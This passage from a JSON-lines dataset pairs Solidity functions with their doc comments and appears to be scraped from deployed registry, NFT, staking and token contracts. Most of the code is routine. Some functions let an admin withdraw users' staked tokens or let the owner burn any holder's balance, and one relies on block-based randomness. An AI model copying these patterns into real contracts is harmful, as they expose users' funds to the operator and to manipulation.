arbitrationCost.addCap(submissionBaseDeposit);\r\n contribute(round, Party.Requester, msg.sender, msg.value, totalCost);\r\n\r\n if (round.paidFees[uint(Party.Requester)] >= totalCost)\r\n round.sideFunded = Party.Requester;\r\n }", "version": "0.5.17"} {"comment": "/** @dev Allows to withdraw a mistakenly added submission while it's still in a vouching state.\r\n */", "function_code": "function withdrawSubmission() external {\r\n Submission storage submission = submissions[msg.sender];\r\n require(submission.status == Status.Vouching, \"Wrong status\");\r\n Request storage request = submission.requests[submission.requests.length - 1];\r\n\r\n submission.status = Status.None;\r\n request.resolved = true;\r\n\r\n withdrawFeesAndRewards(msg.sender, msg.sender, submission.requests.length - 1, 0, 0); // Automatically withdraw for the requester.\r\n }", "version": "0.5.17"} {"comment": "/** @dev Execute a request if the challenge period passed and no one challenged the request.\r\n * @param _submissionID The address of the submission with the request to execute.\r\n */", "function_code": "function executeRequest(address _submissionID) external {\r\n Submission storage submission = submissions[_submissionID];\r\n uint requestID = submission.requests.length - 1;\r\n Request storage request = submission.requests[requestID];\r\n require(now - request.challengePeriodStart > challengePeriodDuration, \"Can't execute yet\");\r\n require(!request.disputed, \"The request is disputed\");\r\n address payable requester;\r\n if (submission.status == Status.PendingRegistration) {\r\n // It is possible for the requester to lose without a dispute if he was penalized for bad vouching while reapplying.\r\n if (!request.requesterLost) {\r\n submission.registered = true;\r\n submission.submissionTime = uint64(now);\r\n }\r\n requester = address(uint160(_submissionID));\r\n } else if (submission.status == Status.PendingRemoval) {\r\n submission.registered = false;\r\n requester = request.requester;\r\n } else\r\n revert(\"Incorrect status.\");\r\n\r\n submission.status = Status.None;\r\n request.resolved = true;\r\n\r\n if (request.vouches.length != 0)\r\n processVouches(_submissionID, requestID, AUTO_PROCESSED_VOUCH);\r\n\r\n withdrawFeesAndRewards(requester, _submissionID, requestID, 0, 0); // Automatically withdraw for the requester.\r\n }", "version": "0.5.17"} {"comment": "/** @dev Processes vouches of the resolved request, so vouchings of users who vouched for it can be used in other submissions.\r\n * Penalizes users who vouched for bad submissions.\r\n * @param _submissionID The address of the submission which vouches to iterate.\r\n * @param _requestID The ID of the request which vouches to iterate.\r\n * @param _iterations The number of iterations to go through.\r\n */", "function_code": "function processVouches(address _submissionID, uint _requestID, uint _iterations) public {\r\n Submission storage submission = submissions[_submissionID];\r\n Request storage request = submission.requests[_requestID];\r\n require(request.resolved, \"Submission must be resolved\");\r\n\r\n uint lastProcessedVouch = request.lastProcessedVouch;\r\n uint endIndex = _iterations.addCap(lastProcessedVouch);\r\n uint vouchCount = request.vouches.length;\r\n\r\n if (endIndex > vouchCount)\r\n endIndex = vouchCount;\r\n\r\n Reason currentReason = request.currentReason;\r\n // If the ultimate challenger is defined that means that the request was ruled in favor of the challenger.\r\n bool applyPenalty = request.ultimateChallenger != address(0x0) && (currentReason == Reason.Duplicate || currentReason == Reason.DoesNotExist);\r\n for (uint i = lastProcessedVouch; i < endIndex; i++) {\r\n Submission storage voucher = submissions[request.vouches[i]];\r\n voucher.hasVouched = false;\r\n if (applyPenalty) {\r\n // Check the situation when vouching address is in the middle of reapplication process.\r\n if (voucher.status == Status.Vouching || voucher.status == Status.PendingRegistration)\r\n voucher.requests[voucher.requests.length - 1].requesterLost = true;\r\n\r\n voucher.registered = false;\r\n }\r\n }\r\n request.lastProcessedVouch = uint32(endIndex);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Give a ruling for a dispute. Can only be called by the arbitrator. TRUSTED.\r\n * Accounts for the situation where the winner loses a case due to paying less appeal fees than expected.\r\n * @param _disputeID ID of the dispute in the arbitrator contract.\r\n * @param _ruling Ruling given by the arbitrator. Note that 0 is reserved for \"Refused to arbitrate\".\r\n */", "function_code": "function rule(uint _disputeID, uint _ruling) public {\r\n Party resultRuling = Party(_ruling);\r\n DisputeData storage disputeData = arbitratorDisputeIDToDisputeData[msg.sender][_disputeID];\r\n address submissionID = disputeData.submissionID;\r\n uint challengeID = disputeData.challengeID;\r\n Submission storage submission = submissions[submissionID];\r\n\r\n Request storage request = submission.requests[submission.requests.length - 1];\r\n Challenge storage challenge = request.challenges[challengeID];\r\n Round storage round = challenge.rounds[challenge.lastRoundID];\r\n ArbitratorData storage arbitratorData = arbitratorDataList[request.arbitratorDataID];\r\n\r\n require(address(arbitratorData.arbitrator) == msg.sender);\r\n require(!request.resolved);\r\n\r\n // The ruling is inverted if the loser paid its fees.\r\n if (round.sideFunded == Party.Requester) // If one side paid its fees, the ruling is in its favor. Note that if the other side had also paid, an appeal would have been created.\r\n resultRuling = Party.Requester;\r\n else if (round.sideFunded == Party.Challenger)\r\n resultRuling = Party.Challenger;\r\n\r\n emit Ruling(IArbitrator(msg.sender), _disputeID, uint(resultRuling));\r\n executeRuling(submissionID, challengeID, resultRuling);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Submit a reference to evidence. EVENT.\r\n * @param _submissionID The address of the submission which the evidence is related to.\r\n * @param _evidence A link to an evidence using its URI.\r\n */", "function_code": "function submitEvidence(address _submissionID, string calldata _evidence) external {\r\n Submission storage submission = submissions[_submissionID];\r\n Request storage request = submission.requests[submission.requests.length - 1];\r\n ArbitratorData storage arbitratorData = arbitratorDataList[request.arbitratorDataID];\r\n\r\n emit Evidence(arbitratorData.arbitrator, submission.requests.length - 1 + uint(_submissionID), msg.sender, _evidence);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Make a request to register/reapply the submission. Paying the full deposit right away is not required as it can be crowdfunded later.\r\n * @param _submissionID The address of the submission.\r\n * @param _evidence A link to evidence using its URI.\r\n */", "function_code": "function requestRegistration(address _submissionID, string memory _evidence) internal {\r\n Submission storage submission = submissions[_submissionID];\r\n Request storage request = submission.requests[submission.requests.length++];\r\n\r\n uint arbitratorDataID = arbitratorDataList.length - 1;\r\n request.arbitratorDataID = uint16(arbitratorDataID);\r\n\r\n Round storage round = request.challenges[0].rounds[0];\r\n\r\n IArbitrator requestArbitrator = arbitratorDataList[arbitratorDataID].arbitrator;\r\n uint arbitrationCost = requestArbitrator.arbitrationCost(arbitratorDataList[arbitratorDataID].arbitratorExtraData);\r\n uint totalCost = arbitrationCost.addCap(submissionBaseDeposit);\r\n contribute(round, Party.Requester, msg.sender, msg.value, totalCost);\r\n\r\n if (round.paidFees[uint(Party.Requester)] >= totalCost)\r\n round.sideFunded = Party.Requester;\r\n\r\n if (bytes(_evidence).length > 0)\r\n emit Evidence(requestArbitrator, submission.requests.length - 1 + uint(_submissionID), msg.sender, _evidence);\r\n }", "version": "0.5.17"} {"comment": "/** @dev Make a fee contribution.\r\n * @param _round The round to contribute to.\r\n * @param _side The side to contribute to.\r\n * @param _contributor The contributor.\r\n * @param _amount The amount contributed.\r\n * @param _totalRequired The total amount required for this side.\r\n * @return The amount of fees contributed.\r\n */", "function_code": "function contribute(Round storage _round, Party _side, address payable _contributor, uint _amount, uint _totalRequired) internal returns (uint) {\r\n uint contribution;\r\n uint remainingETH;\r\n (contribution, remainingETH) = calculateContribution(_amount, _totalRequired.subCap(_round.paidFees[uint(_side)]));\r\n _round.contributions[_contributor][uint(_side)] += contribution;\r\n _round.paidFees[uint(_side)] += contribution;\r\n _round.feeRewards += contribution;\r\n\r\n if (remainingETH != 0)\r\n _contributor.send(remainingETH);\r\n\r\n return contribution;\r\n }", "version": "0.5.17"} {"comment": "/** @dev Gets the contributions made by a party for a given round of a given challenge of a request.\r\n * @param _submissionID The address of the submission.\r\n * @param _requestID The request to query.\r\n * @param _challengeID the challenge to query.\r\n * @param _round The round to query.\r\n * @param _contributor The address of the contributor.\r\n * @return The contributions.\r\n */", "function_code": "function getContributions(\r\n address _submissionID,\r\n uint _requestID,\r\n uint _challengeID,\r\n uint _round,\r\n address _contributor\r\n ) external view returns(uint[3] memory contributions) {\r\n Request storage request = submissions[_submissionID].requests[_requestID];\r\n Challenge storage challenge = request.challenges[_challengeID];\r\n Round storage round = challenge.rounds[_round];\r\n contributions = round.contributions[_contributor];\r\n }", "version": "0.5.17"} {"comment": "/** @dev Returns the information of the submission. Includes length of requests array.\r\n * @param _submissionID The address of the queried submission.\r\n * @return The information of the submission.\r\n */", "function_code": "function getSubmissionInfo(address _submissionID)\r\n external\r\n view\r\n returns (\r\n Status status,\r\n uint64 submissionTime,\r\n uint64 index,\r\n bool registered,\r\n bool hasVouched,\r\n uint numberOfRequests\r\n )\r\n {\r\n Submission storage submission = submissions[_submissionID];\r\n return (\r\n submission.status,\r\n submission.submissionTime,\r\n submission.index,\r\n submission.registered,\r\n submission.hasVouched,\r\n submission.requests.length\r\n );\r\n }", "version": "0.5.17"} {"comment": "/** @dev Gets the information of a particular challenge of the request.\r\n * @param _submissionID The address of the queried submission.\r\n * @param _requestID The request to query.\r\n * @param _challengeID The challenge to query.\r\n * @return The information of the challenge.\r\n */", "function_code": "function getChallengeInfo(address _submissionID, uint _requestID, uint _challengeID)\r\n external\r\n view\r\n returns (\r\n uint16 lastRoundID,\r\n address challenger,\r\n uint disputeID,\r\n Party ruling,\r\n uint64 duplicateSubmissionIndex\r\n )\r\n {\r\n Request storage request = submissions[_submissionID].requests[_requestID];\r\n Challenge storage challenge = request.challenges[_challengeID];\r\n return (\r\n challenge.lastRoundID,\r\n challenge.challenger,\r\n challenge.disputeID,\r\n challenge.ruling,\r\n challenge.duplicateSubmissionIndex\r\n );\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Gets max amount of NFTs in a single transaction\n */", "function_code": "function getArtSquaresMaxAmount() public view returns (uint256) {\n require(block.timestamp >= SALE_START_TIMESTAMP, \"Sale not started\");\n require(totalSupply() < MAX_TOKEN_SUPPLY, \"Sale has already ended\");\n\n uint currentSupply = totalSupply();\n \n if (currentSupply >= 5000) {\n return 20;\n } else if (currentSupply >= 150) {\n return 10;\n } else\n return 2;\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Mints ArtSquares\n */", "function_code": "function mintNFT(uint256 numberOfNfts) public payable {\n require(totalSupply() < MAX_TOKEN_SUPPLY, \"Sale has already ended\");\n require(numberOfNfts > 0, \"numberOfNfts cannot be 0\");\n require(numberOfNfts <= getArtSquaresMaxAmount(), \"You are not allowed to buy that many ArtSquares in the current Pricing Tier\");\n require(totalSupply().add(numberOfNfts) <= MAX_TOKEN_SUPPLY, \"Exceeds MAX_TOKEN_SUPPLY\");\n require(getNFTPrice().mul(numberOfNfts) == msg.value, \"Ether value sent is not correct\");\n\n for (uint i = 0; i < numberOfNfts; i++) {\n uint mintIndex = totalSupply();\n if (block.timestamp < REVEAL_TIMESTAMP) {\n _mintedBeforeReveal[mintIndex] = true;\n }\n _safeMint(msg.sender, mintIndex);\n }\n\n /**\n * Source of randomness for starting Index\n */\n if (startingIndexBlock == 0 && (totalSupply() == MAX_TOKEN_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) {\n startingIndexBlock = block.number;\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Changes the name for ArtSquares tokenId\n */", "function_code": "function changeName(uint256 tokenId, string memory newName) public {\n address owner = ownerOf(tokenId);\n\n require(_msgSender() == owner, \"ERC721: caller is not the owner\");\n require(validateName(newName) == true, \"Not a valid new name\");\n require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), \"New name is same as the current one\");\n require(isNameReserved(newName) == false, \"Name already reserved\");\n\n IERC20(_g0Address).transferFrom(msg.sender, address(this), NAME_CHANGE_PRICE);\n // If already named, dereserve old name\n if (bytes(_tokenName[tokenId]).length > 0) {\n toggleReserveName(_tokenName[tokenId], false);\n }\n toggleReserveName(newName, true);\n _tokenName[tokenId] = newName;\n IERC20(_g0Address).burn(NAME_CHANGE_PRICE);\n emit NameChange(tokenId, newName);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Changes the position for ArtSquares in Gallery0\n */", "function_code": "function changePosition(uint256 tokenId, uint256 posX, uint256 posY, uint256 posZ) public {\n address owner = ownerOf(tokenId);\n\n require(_msgSender() == owner, \"ERC721: caller is not the owner\");\n require(posX < MAX_POS_X, \"posX is too large\");\n require(posY < MAX_POS_Y, \"posY is too large\");\n require(posZ < MAX_POS_Z, \"posZ is too large\");\n\n string memory posXStr = uint2str(posX);\n string memory posYStr = uint2str(posY);\n string memory posZStr = uint2str(posZ);\n\n string memory posStr = string(abi.encodePacked(posXStr, \",\", posYStr, \",\", posZStr));\n\n require(isPositionReserved(posStr) == false, \"Position already taken\");\n\n string memory oldPosStr;\n\n // check if position is already set\n if (_tokenPosition[tokenId].length == 3) {\n string memory oldPosXStr = uint2str(_tokenPosition[tokenId][0]);\n string memory oldPosYStr = uint2str(_tokenPosition[tokenId][1]);\n string memory oldPosZStr = uint2str(_tokenPosition[tokenId][2]);\n\n oldPosStr = string(abi.encodePacked(oldPosXStr, \",\", oldPosYStr, \",\", oldPosZStr));\n }\n\n IERC20(_g0Address).transferFrom(msg.sender, address(this), POSITION_CHANGE_PRICE);\n // If already reserved, dereserve old name\n if (bytes(oldPosStr).length > 0) {\n unreservePosition(oldPosStr);\n }\n\n uint256[3] memory newPosition = [posX, posY, posZ];\n\n setReservePosition(posStr);\n _tokenPosition[tokenId] = newPosition;\n IERC20(_g0Address).burn(POSITION_CHANGE_PRICE);\n emit PositionChange(tokenId, newPosition);\n }", "version": "0.7.6"} {"comment": "// Be special", "function_code": "function IamPepe(bytes memory _code) public payable isMember {\r\n players[msg.sender].rank = 0;\r\n uint256 leet_seed = 0x1337;\r\n address payable deployAddress = DeployCreate2Contract(_code, bytes32(leet_seed), 0); // Yes, the seed is fixed\r\n\r\n // Are you special?\r\n bool isSpecial = ((uint256(deployAddress) % leet_seed) == (uint256(msg.sender) % leet_seed));\r\n\r\n if (isSpecial) {\r\n players[msg.sender].rank = 1; // You are Pepe\r\n uint256 bytecodesize;\r\n assembly {\r\n bytecodesize := extcodesize(deployAddress)\r\n }\r\n // Be more special\r\n if (bytecodesize < 100) {\r\n players[msg.sender].rank = 2; // You are advanced Pepe\r\n tinyPepe tpepe = tinyPepe(deployAddress);\r\n uint256 tpepeAnswer;\r\n uint256 question = uint256(blockhash(block.number - 1));\r\n tpepeAnswer = tpepe.ask(question);\r\n // Be the most special\r\n if (tpepeAnswer == (question % leet_seed)) {\r\n players[msg.sender].rank = 3; // You are Mighty Pepe\r\n }\r\n }\r\n }\r\n }", "version": "0.5.17"} {"comment": "/* Updates Total Reward and transfer User Reward on Stake and Unstake. */", "function_code": "function updateAccount(address account) private {\r\n uint pendingDivs = getPendingReward(account);\r\n if (pendingDivs > 0) {\r\n require(Token(tokenAddress).transfer(account, pendingDivs), \"Could not transfer tokens.\");\r\n totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);\r\n totalClaimedRewards = totalClaimedRewards.add(pendingDivs);\r\n emit RewardsClaimed(account, pendingDivs, now);\r\n emit AllTokenClaimed(totalClaimedRewards, now);\r\n }\r\n lastClaimedTime[account] = now;\r\n }", "version": "0.6.12"} {"comment": "/* Calculate realtime ETH Reward based on User Score. */", "function_code": "function getScoreEth(address _holder) public view returns (uint) {\r\n uint timeDiff = 0 ;\r\n \r\n if(lastScoreTime[_holder] > 0){\r\n timeDiff = now.sub(lastScoreTime[_holder]).div(2); \r\n }\r\n\r\n uint stakedAmount = depositedTokens[_holder];\r\n \r\n \r\n uint score = stakedAmount\r\n .mul(scoreRate)\r\n .mul(timeDiff)\r\n .div(scoreInterval)\r\n .div(1e4);\r\n \r\n uint eth = score.div(scoreEth);\r\n \r\n return eth;\r\n \r\n\r\n }", "version": "0.6.12"} {"comment": "/* Calculate realtime User Score. */", "function_code": "function getStakingScore(address _holder) public view returns (uint) {\r\n uint timeDiff = 0 ;\r\n if(lastScoreTime[_holder] > 0){\r\n timeDiff = now.sub(lastScoreTime[_holder]).div(2); \r\n }\r\n\r\n uint stakedAmount = depositedTokens[_holder];\r\n \r\n \r\n uint score = stakedAmount\r\n .mul(scoreRate)\r\n .mul(timeDiff)\r\n .div(scoreInterval)\r\n .div(1e4);\r\n return score;\r\n }", "version": "0.6.12"} {"comment": "/* Calculate realtime User Staking Score. */", "function_code": "function getPendingReward(address _holder) public view returns (uint) {\r\n if (!holders.contains(_holder)) return 0;\r\n if (depositedTokens[_holder] == 0) return 0;\r\n\r\n uint timeDiff = now.sub(lastClaimedTime[_holder]);\r\n uint stakedAmount = depositedTokens[_holder];\r\n \r\n uint pendingDivs = stakedAmount\r\n .mul(rewardRate)\r\n .mul(timeDiff)\r\n .div(rewardInterval)\r\n .div(1e4);\r\n \r\n return pendingDivs;\r\n }", "version": "0.6.12"} {"comment": "/* Record Staking with Offer check. */", "function_code": "function stake(uint amountToStake) public {\r\n require(amountToStake > 0, \"Cannot deposit 0 Tokens\");\r\n require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), \"Insufficient Token Allowance\");\r\n emit TokenStaked(msg.sender, amountToStake, now);\r\n \r\n updateAccount(msg.sender);\r\n updateLastScoreTime(msg.sender);\r\n totalStakedToken = totalStakedToken.add(amountToStake);\r\n \r\n if(stakingOffer > now){\r\n uint offerRaise = amountToStake.mul(stakingOfferRaise).div(1e4); \r\n totalOfferRaise = totalOfferRaise.add(offerRaise);\r\n totalOfferUser[msg.sender] = offerRaise ;\r\n emit OfferStaked(totalStakedToken, now);\r\n\r\n amountToStake = amountToStake.add(offerRaise);\r\n }\r\n\r\n emit AllTokenStaked(totalStakedToken, now);\r\n\r\n\r\n depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);\r\n\r\n if (!holders.contains(msg.sender)) {\r\n holders.add(msg.sender);\r\n stakingTime[msg.sender] = now;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* Record UnStaking. */", "function_code": "function unstake(uint amountToWithdraw) public {\r\n\r\n require(depositedTokens[msg.sender] >= amountToWithdraw, \"Invalid amount to withdraw\"); \r\n \r\n updateAccount(msg.sender);\r\n \r\n uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);\r\n uint amountAfterFee = amountToWithdraw.sub(fee);\r\n \r\n require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), \"Could not transfer tokens.\");\r\n emit TokenUnstaked(msg.sender, amountAfterFee,now);\r\n \r\n require(Token(tokenAddress).transfer(burnAddress, fee), \"Could not burn fee.\");\r\n emit TokenBurned(fee,now);\r\n \r\n totalUnstakedToken = totalUnstakedToken.add(amountAfterFee);\r\n totalFeeCollected = totalFeeCollected.add(fee);\r\n emit AllTokenUnStaked(totalUnstakedToken, now);\r\n \r\n uint timeDiff = 0 ;\r\n \r\n if(lastScoreTime[msg.sender] > 0){\r\n timeDiff = now.sub(lastScoreTime[msg.sender]).div(2); \r\n }\r\n \r\n uint score = amountAfterFee\r\n .mul(scoreRate)\r\n .mul(timeDiff)\r\n .div(scoreInterval)\r\n .div(1e4);\r\n \r\n \r\n \r\n uint eth = score.div(scoreEth); \r\n totalEthClaimed = totalEthClaimed.add(eth);\r\n\r\n msg.sender.transfer(eth);\r\n emit EthClaimed(msg.sender ,eth,now);\r\n\r\n lastScoreTime[msg.sender] = now;\r\n\r\n depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);\r\n \r\n if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {\r\n holders.remove(msg.sender);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* Claim ETH Equivalent to Score. */", "function_code": "function claimScoreEth() public {\r\n uint timeDiff = 0 ;\r\n \r\n if(lastScoreTime[msg.sender] > 0){\r\n timeDiff = now.sub(lastScoreTime[msg.sender]).div(2); \r\n }\r\n\r\n uint stakedAmount = depositedTokens[msg.sender]; \r\n \r\n uint score = stakedAmount\r\n .mul(scoreRate)\r\n .mul(timeDiff)\r\n .div(scoreInterval)\r\n .div(1e4); \r\n \r\n uint eth = score.div(scoreEth); \r\n totalEthClaimed = totalEthClaimed.add(eth);\r\n msg.sender.transfer(eth);\r\n emit EthClaimed(msg.sender , eth,now);\r\n \r\n \r\n lastScoreTime[msg.sender] = now;\r\n \r\n }", "version": "0.6.12"} {"comment": "/// @notice Get token's URI. In case of delayed reveal we give user the json of the placeholer metadata.\n/// @param tokenId token ID", "function_code": "function tokenURI(uint tokenId) public view override returns (string memory) {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n \r\n if(!canReveal) {\r\n return _hiddenURI;\r\n }\r\n string memory baseURI = _baseURI();\r\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), \".json\")) : \"\";\r\n }", "version": "0.8.12"} {"comment": "// Deposit LP tokens to MasterChef for VEMP allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accVEMPPerShare).div(1e12).sub(user.rewardDebt);\r\n safeVEMPTransfer(msg.sender, pending);\r\n \r\n uint256 SANDReward = user.amount.mul(pool.accSANDPerShare).div(1e12).sub(user.rewardSANDDebt);\r\n pool.lpToken.safeTransfer(msg.sender, SANDReward);\r\n pool.lastSANDRewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase));\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n totalSANDStaked = totalSANDStaked.add(_amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accVEMPPerShare).div(1e12);\r\n user.rewardSANDDebt = user.amount.mul(pool.accSANDPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Safe SAND transfer function to admin.", "function_code": "function accessSANDTokens(uint256 _pid, address _to, uint256 _amount) public {\r\n require(msg.sender == adminaddr, \"sender must be admin address\");\r\n require(totalSANDStaked.sub(totalSANDUsedForPurchase) >= _amount, \"Amount must be less than staked SAND amount\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n uint256 SANDBal = pool.lpToken.balanceOf(address(this));\r\n if (_amount > SANDBal) {\r\n pool.lpToken.transfer(_to, SANDBal);\r\n totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(SANDBal);\r\n } else {\r\n pool.lpToken.transfer(_to, _amount);\r\n totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(_amount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\n * Destroy tokens from other account\n *\n * Remove `_value` tokens from the system irreversibly on behalf of `_from`.\n *\n * @param _from the address of the sender\n * @param _value the amount of token minimal units (10**(-18)) to burn\n */", "function_code": "function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool) {\n require(balanceOf[_from] >= _value, \"address balance is smaller, than amount to burn\");\n balanceOf[_from] -= _value; // Subtract from the targeted balance\n totalSupply -= _value; // Update totalSupply\n emit Burn(_from, _value);\n\t\tassert(totalSupply >= 0);\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * Create new tokens to account\n \t *\n \t * Create _mintAmount of new tokens to account _target\n \t *\n \t * @param _mintAmount the amount of token minimal units (10**(-18)) to mint\n \t * @param _target the address to own new mint tokens\n *\n * Internal function, can be called from the contract and it's children contracts only\n */", "function_code": "function _mintToken(address _target, uint256 _mintAmount) internal {\n\t\trequire(_target != address(0), \"mint attempt to zero address\"); // Prevent mint to 0x0 address.\n\t\trequire(totalSupply + _mintAmount > totalSupply);\n balanceOf[_target] += _mintAmount;\n totalSupply += _mintAmount;\n emit Mint(_target, _mintAmount);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Transfer NFTs if there is any in this contract to address `to`.\r\n */", "function_code": "function transfer(address to) external onlyOwner {\r\n require(isEnded, \"Not ended\");\r\n uint256 tokenId = _tokenOf(address(this));\r\n require(tokenId != 0, \"No token to be transferred in this contract\");\r\n require(specialWallets[to], \"Must transfer to a special wallet\");\r\n\r\n _transfer(address(this), to, tokenId);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Returns all `tokenId`s for a given `class`.\r\n */", "function_code": "function getTokenIdsForClass(uint256 class) external view returns (uint256[] memory) {\r\n uint256 index = _getClassIndex(class);\r\n uint256[] memory tokenIds = new uint256[](index+1);\r\n if (index == 0) {\r\n tokenIds[0] = _tokenOf(_getWalletByClass(class));\r\n return tokenIds;\r\n } else {\r\n for (uint256 i = 0; i < index+1; i++) {\r\n tokenIds[i] = _tokenOf(_getWalletByIndex(class, i));\r\n }\r\n return tokenIds;\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Execute the logic of making a contribution by `account`.\r\n */", "function_code": "function _contribute(address account) private {\r\n uint256 tokenId = _tokenOf(account);\r\n uint256 weight = _massOf(tokenId);\r\n (address targetWallet, uint256 class) = _getTargetWallet(tokenId);\r\n\r\n _transfer(account, targetWallet, tokenId);\r\n _mint(account, weight);\r\n _updateInfo(account, class, weight);\r\n\r\n emit Contribute(account, targetWallet, tokenId, class, weight);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Returns the target wallet address by `class` and `tokenId`.\r\n */", "function_code": "function _getTargetWallet(uint256 tokenId) private returns (address wallet, uint256 class) {\r\n uint256 tier = _tierOf(tokenId);\r\n class = _classOf(tokenId);\r\n\r\n if (tier == 4) {\r\n wallet = red;\r\n } else if (tier == 3) {\r\n wallet = yellow;\r\n } else if (tier == 2) {\r\n wallet = blue;\r\n } else if (tier == 1) {\r\n if (_massOf(tokenId) >= cap) {\r\n wallet = contender;\r\n } else {\r\n wallet = _getWalletByClass(class);\r\n\r\n // No wallet for this class has been created yet.\r\n if (wallet == address(0)) {\r\n wallet = _createWalletByClass(class);\r\n require(wallet == _getWalletByClass(class), \"Mismatch\");\r\n } else {\r\n uint256 _tokenId = _tokenOf(wallet);\r\n if (_tokenId != 0) {\r\n if (_massOf(_tokenId) >= cap) { // Current wallet has reached the cap\r\n wallet = _createWalletByClass(class);\r\n require(wallet == _getWalletByClass(class), \"Mismatch\");\r\n } else {\r\n if (_classOf(_tokenId) != class) {\r\n wallet = _createWalletByClass(class);\r\n require(wallet == _getWalletByClass(class), \"Mismatch\");\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Update info for `account` and `tokenId` with `weight`\r\n */", "function_code": "function _updateInfo(address account, uint256 class, uint256 weight) private {\r\n if (weights[account][class] == 0) {\r\n contributors.add(account);\r\n weights[account][class] = weight;\r\n contributedClasses[account].push(class);\r\n } else {\r\n weights[account][class] += weight;\r\n }\r\n\r\n totalWeight += weight;\r\n contributionsOfEachClass[class]++;\r\n }", "version": "0.8.9"} {"comment": "/// @notice create new property for Certified Partner\n/// @param certifiedPartner Wallet address of Certified Partner\n/// @return contract address of newly created property", "function_code": "function createNewPropTokenFor(address certifiedPartner) public returns (address) {\n require(PropertyFactoryHelpers(_dataProxy).hasSystemAdminRights(msg.sender), \"PropertiesFactory: You need to have system admin rights to issue new PropToken\");\n require(PropertyFactoryHelpers(_dataProxy).isCertifiedPartner(certifiedPartner), \"PropertiesFactory: You can only create property for certified partner!\");\n Properties propToken = new Properties(certifiedPartner, _propertyRegistry);\n PropertyFactoryHelpers(_dataProxy).addPropertyToCP(address(propToken), certifiedPartner);\n\n emit NewPropToken(certifiedPartner, address(propToken), now);\n\n return address(propToken);\n }", "version": "0.6.12"} {"comment": "/// @notice create new property for Certified Partner and Licenced Issuer\n/// @param certifiedPartner Wallet address of Certified Partner\n/// @param LI Wallet address of Licenced Issuer\n/// @return contract address of newly created property", "function_code": "function createNewPropTokenForCPAndLI(address certifiedPartner, address LI) public returns (address){\n require(PropertyFactoryHelpers(_dataProxy).hasSystemAdminRights(msg.sender), \"PropertiesFactory: You need to have system admin rights to issue new PropToken\");\n require(PropertyFactoryHelpers(_dataProxy).isCertifiedPartner(certifiedPartner), \"PropertiesFactory: You can only create property for certified partner!\");\n Properties propToken = new Properties(LI, _propertyRegistry);\n PropertyFactoryHelpers(_dataProxy).addPropertyToCP(address(propToken), certifiedPartner);\n\n emit NewPropToken(certifiedPartner, address(propToken), now);\n\n return address(propToken);\n }", "version": "0.6.12"} {"comment": "/**\r\n order function\r\n 1. user could order either 1 piece or 10 pieces together\r\n 2. the order process is async, user pay the price and pre-order, \r\n the system deliver the orders async after receiving random numbers\r\n */", "function_code": "function order(uint256 packSize, string memory referralCode) public payable onlyWhenEnabled {\r\n console.log(\"operation:order sender:%s value:%s pack:%s\", msg.sender, msg.value, packSize);\r\n\r\n require(\r\n packSize == 1 || packSize == PACK_NUMBER,\r\n \"Invalid pack size\"\r\n );\r\n\r\n require(\r\n soldNumber + packSize <= MAX_NFT_NUMBER,\r\n \"Max supply reached\"\r\n );\r\n\r\n uint256 price;\r\n if (packSize == 1) {\r\n price = getLatestPrice();\r\n } else {\r\n price = getLatestPackPrice();\r\n }\r\n console.log(\"price:%s\", price, \" value:\", msg.value);\r\n require(\r\n msg.value >= price,\r\n \"Insufficient payment\"\r\n );\r\n \r\n bytes32 requestID = _getRandomNumber(soldNumber);\r\n waitingOrders[requestID] = MintContext(msg.sender, price, packSize);\r\n soldNumber = soldNumber.safeAdd(packSize);\r\n\r\n // Only for testing\r\n emit RNGRequest(requestID);\r\n\r\n // refund the overcharge value\r\n if (msg.value.safeSub(price) > 0) {\r\n (bool success, ) =\r\n msg.sender.call{value: msg.value.safeSub(price)}(\"\");\r\n require(success, \"Refund failed\");\r\n\r\n console.log(\"operation:refund user:%s value:%s\", msg.sender, msg.value.safeSub(price));\r\n }\r\n\r\n // pay referral\r\n _fundReferral(referralCode, price);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n register to the referral program\r\n */", "function_code": "function registerReferralCode() public {\r\n string memory 